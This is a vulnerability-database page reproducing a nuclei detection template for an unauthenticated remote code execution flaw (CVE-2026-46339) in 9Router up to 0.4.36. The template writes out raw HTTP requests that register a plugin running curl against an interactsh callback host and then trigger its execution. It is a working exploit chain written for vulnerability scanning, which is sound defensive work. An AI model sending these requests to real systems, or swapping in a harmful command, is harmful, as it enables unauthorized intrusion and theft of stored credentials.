Lucene search
K

9Router <= 0.4.36 - Unauthenticated RCE

🗓️ 15 Jul 2026 04:32:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated remote code execution in nine router versions up to 0.4.36 via cli-tools and mcp endpoints.

Related
Refs
Code
id: CVE-2026-46339

info:
  name: 9Router <= 0.4.36 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
   9Router <= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.
  impact: |
   Full unauthenticated RCE as the 9Router process user, exposing API keys, Claude tokens, AWS credentials, and all stored MCP plugin configuration.
  remediation: |
   Upgrade to 9Router 0.4.37 or later.
  reference:
    - https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46339
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-46339
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 3
    product: 9router
    vendor: decolua
  tags: cve,cve2026,9router,rce,mcp,unauth,critical

variables:
  plugin_name: "{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /api/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "currentVersion")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/cli-tools/cowork-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"baseUrl":"x","apiKey":"x","models":["x"],"plugins":[],"localPlugins":[],"customPlugins":[{"name":"{{plugin_name}}","command":"curl","args":["-s","{{interactsh-url}}"]}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/mcp/{{plugin_name}}/sse HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
        condition: and
# digest: 490a0046304402204a442cae7e67809cdb01f3c277a1889e4a37e774ada90ccc27d3d2031bf18b450220488071e0b8d6511ea25d33a953403d5751a70a27931e4cff0d98287d3925eb1a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 02:06Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.110
EPSS0.00147
3